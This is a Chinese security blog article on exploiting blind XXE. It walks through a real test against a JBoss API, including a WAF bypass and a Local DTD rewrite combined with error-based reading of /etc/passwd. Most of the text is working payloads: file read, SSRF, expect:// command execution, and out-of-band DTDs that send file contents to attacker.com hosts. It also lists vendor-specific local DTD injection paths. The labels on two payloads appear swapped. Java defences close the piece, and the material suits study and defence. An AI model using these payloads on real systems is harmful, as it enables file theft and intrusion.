查看原文
其他

原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

theFool SecIN技术平台 2024-05-25
点击蓝字


关注我们


一、概述


XXE是外部实体注入攻击,曾经的OWASP TOP 10之一。分为有回显的XXE和无回显的XXE。

XXE的原理十分简单,就是服务端xml解析器允许外部实体且未作限制,解析外部实体时遇到类似
SYSTEM "URI"的关键字时,会去请求后面的URI。这部分已经很多人讲过了,算是比较基础的知识,这里不再赘述。

有回显的利用十分简单,然而实际需要的XXE问题很多都是无回显的。这种情况下一般会用到oob带外攻击来获取文件内容。但是随着网络结构的日益复杂和厂商对安全的逐步重视,有时会存在防火墙或网络隔离,导致服务器无法获取外部服务器上的恶意dtd文件,因为无法通过oob技术进一步利用。

此时可以通过LocalDTD和error-based来获取文件内容。该项技术由安全研究员Arseniy Sharoglazov在18年分享过,这里通过真实的漏洞来实际体验这个技巧,当然重点是在于防火墙的网络隔离限制bypass。


二、漏洞详情


2.1 XXE基础

XXE(XML External Entity),外部实体注入攻击,曾经的OWASP TOP 10之一,是当一种解析XML数据过程中发生的攻击。当XML解析的数据用户可控,且XML解析允许外部实体时,会存在的漏洞。

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是在无回显的情况下,也可以通过带外攻击或报错的的方式来获取文件内容。

常见的payload如下:
  • 文件读取

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
  • SSRF

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://victim.com/" >]> <foo>&xxe;</foo>
  • RCE

    注意,这个需要服务端PHP开启expect模块才行。

<!DOCTYPE foo[ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" > ]> <creds> <user>`&xxe;`</user> <pass>`mypass`</pass> </creds>

  • Blind XXE
    以上那些payload是针对服务端有回显的情况,在服务端无回显的情况下则无法读取到文件内容的。这种情况下一般有两种利用方法:error-based和out-of-bind。大致payload如下


  • out-of-band

<!-- malicious.dtd, in attacker server --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!-- payload --> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]>
不过这种方法,对于有特殊字符的文件内容会读取失败。这种情况下可以利用php或
java的一些协议对文件内容进行编码压缩来进一步利用,某些情况下可以使用FTP
协议来代替HTTP协议进行利用。

  • error-based
    如果服务端会返回报错信息,则可以利用XML解析

    过程中的报错内容来获取文件内容,payload如下。

    <!-- malicious.dtd, in attacker server --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate; <!-- payload --> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]>

    2.2 Local DTD利用原理

    1.OOB Failed
    对于实际遇到的XXE,很大一部分都是无回显的。而对于Blind XXE,一般都是直接通过上面的payload,借助oob和报错来进行文件的读取。

    但值得注意的是,由于现在网络架构的日益复杂,加之众多厂商安全意识的提高,有时可能会存在这么一种情况:攻击者服务器和目标服务器之间存在防火墙,从而导致目标服务器无法访问攻击者服务器上的dtd文件。简而言之,就是由于防火墙的限制,目标服务器无法访问攻击者的机器。

    此时又该如何利用呢?可利用目标服务器上的Local DTD重写来进一步获取文件内容

    2.Summary of Local DTD Technique
    介绍一下Local DTD利用原理,大致如下:首先LocalDTD是指目标服务器本机上的DTD文件,因为是利用的目标服务器上已有的DTD文件,就在服务器本机上,因此根本无需出网,也就无视了防火墙的限制,无需考虑网络隔离的问题。

    其次需要明白,内部实体是无法在一个参数实体中引用另一个参数实体的。比如下面这个payload

    <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ]> <msg></msg>

    就会产生如下报错:
    Internal Error: SAX Parser Error. Detail: The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.
    所以这种情况下,我们只能引用外部DTD文件。然而由于网络隔离,无法访问自定义的恶意DTD文件。所以就需要利用服务器本机的Local DTD重写来获得文件内容。
    假设服务器上存在一个test.dtd文件,内容如下:
    <!ENTITY % condition "and | or | not | equal"> <!ELEMENT pattern (%condition;)>
     
    我们可以引用test.dtd,构造如下payload:
    <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///etc/test.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <msg>xxx</msg>

    这是因为所有的XML实体都是常量,如果定义两个同名的实体,只有第一个才会被使用。如果我们再引用test.dtd后,再在payload中定义其中的参数实体condition,就会覆盖其原本的值。也即参数实体condition的内容被rewrite成了精心构造的payload的值。简单来说,很类似参数重赋值。

    知道了这些,就可以基于此来进行利用。明确一下目标,我们需要找到一个服务器上存在的dtd文件,这个文件中要包含如下模式的实体定义:
    .. <!ENTITY % injectable "xxx"> .. <!ENTITY % foobar (%injectable;)> ..

    那么现在问题又来了,如何寻找服务器上的这类DTD文件?

    这并不难,很多linux系统都有一些通用的dtd文件,并且这些文件都是开源的。比如GNOME桌面环境就使用了
    /usr/share/yelp/dtd/docbookx.dtd

    更加幸运的是,
    GoSecure发布了一个专门的查找工具,用起来很简单,可以帮助我们找到符合条件的Local DTD。

    下面还列出了一些系统中普遍存在的Local DTD和其对应的payload。不过还是推荐gosecure提供的工具,很好用。
    <!-- Cisco WebEx --> <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd; <!-- Citrix XenMobile Server --> <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd; <!-- Custom Multi-Platform IBM WebSphere Application --> <!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes 'Your DTD code'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
     

    2.3 实际漏洞

    在实际的某个网站测试过程中,观察到存在一个REST API是基于JSON传递数据的。

    把请求包的
    Content-Type改成application/xml之后重放这个数据包,发现服务端(JBoss)抛出一段错误,大概是说希望解析XML,但是却提供了JSON。
    所以尝试把请求包的body改成xml数据再次发送(在ctf中很常见了),不过由于现在大多数Web服务都会部署有WAF,所以最开始使用最简单的XML数据来判断服务端是否真的会解析xml数据。

    使用以下数据进行重放,发现请求成功。
    <root> <id>123</id> <name>tom</name> </root>

    然后,使用最简单的XXE payload试着打一下看结果。
    <!DOCTYPE foo[ <!ENTITY x SYSTEM "file:///etc/passwd"> ]> <root> <id>1</id> <name>&x;</name> </root>

    然而这段payload不幸的被WAF拦截了。不过在file://协议之前简单的加一个空格就能绕过去。payload如下:
    <!DOCTYPE foo[ <!ENTITY x SYSTEM " file:///etc/passwd"> ]> <root> <id>1</id> <name>&x;</name> </root>


    进一步尝试利用会发现:
    • 如果尝试读取类似/etc/shadow的文件,服务端会返回permission denied
    • 如果尝试读取不存在的文件,服务端会返回file not exists

    到这里,基本就能确认XXE问题的存在。

    但是如何进一步利用呢?服务端只会返回一些报错信息,并不会直接返回要读取文件的内容,可以是说是Blind XXE。

    尝试利用HTTP OOB来读取文件,先用burp collaborator尝试一下看能不能访问。payload如下:
    <!DOCTYPE foo[ <!ENTITY % x SYSTEM " http://xxxxxx.burpcollaborator.net"> %x; ]> <root> <id>1</id> <name>tom</name> </root>

    结果发现没有访问记录,说明中间可能是存在防火墙或网络隔离,服务端并不能访问到外网的服务器。这样HTTP OOB的方法就不行了。

    所以,接下来就要尝试前文提到的local dtd和error-based来利用了。

    这里使用GoSecure的工具去探测服务器上可利用的Local DTD。
    $ docker export {container} -o jboss.tar $ java -jar dtd-finder-1.0-all.jar jboss.tar


    通过这个工具找到了
    /schema/xmlschema/XMLSchema.dtd中存在一个可注入的实体xs-datatypes

    检查
    XMLSchema.dtd的文件内容:
    .... <!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' > .... %xs-datatypes; <!--这里可以重写参数实体> ... ....

    所以编写如下payload:
    <!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///xyz/%file;'>"> %eval; %error; '>

    由于是Java写的应用,可以使用jar协议来读取文件,这样可以有效防止文件中特殊字符导致的问题。payload如下:
    <!DOCTYPE root [ <!ENTITY % x SYSTEM "jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd"> <!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///xyz/%file;'>"> %eval; %error; '> %x; ]> <root> <id>1</id> <name>tom</name> </root>

    不过这里的payload,网站的展示有问题,以截图中的为准
    然后就可以看到读取成功。


    2.4 XXE的防御

    防御的话基本就是禁用外部实体,比如golang原生的xml库就默认引用了外部实体。

    不过本次漏洞是java的,而JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX等。

    1.setFeature

    feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。

    // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击 setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在 setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体 setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体

    还有就是就是配置XML处理器去使用本地静态的DTD

    不允许XML中含有任何自定义的DTD。代码大致如下:

    public String xxe_SAXParser_fix(HttpServletRequest request) { try { String xml_con = getBody(request); System.out.println(xml_con); SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); SAXParser parser = spf.newSAXParser(); parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml return "test"; } catch (Exception e) { System.out.println(e); return "except"; } }


    三、总结

    本篇文章介绍了各种XXE类型的利用方法,当然重点在于blind xxe的利用,简单介绍了error-based和oob这两种利用方法,着重强调了当存在防火墙无法访问外部dtd时,通过Local DTD rewrite和error-based技巧的结合,来对blind xxe进一步利用。


    往期推荐

    原创|Filter内存马及工具检测

    原创 | 缓冲区溢出漏洞那些事:验证与危害判定篇

    原创 | 某厂商数据库审计系统前台RCE挖掘之旅


    继续滑动看下一个
    向上滑动看下一个

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存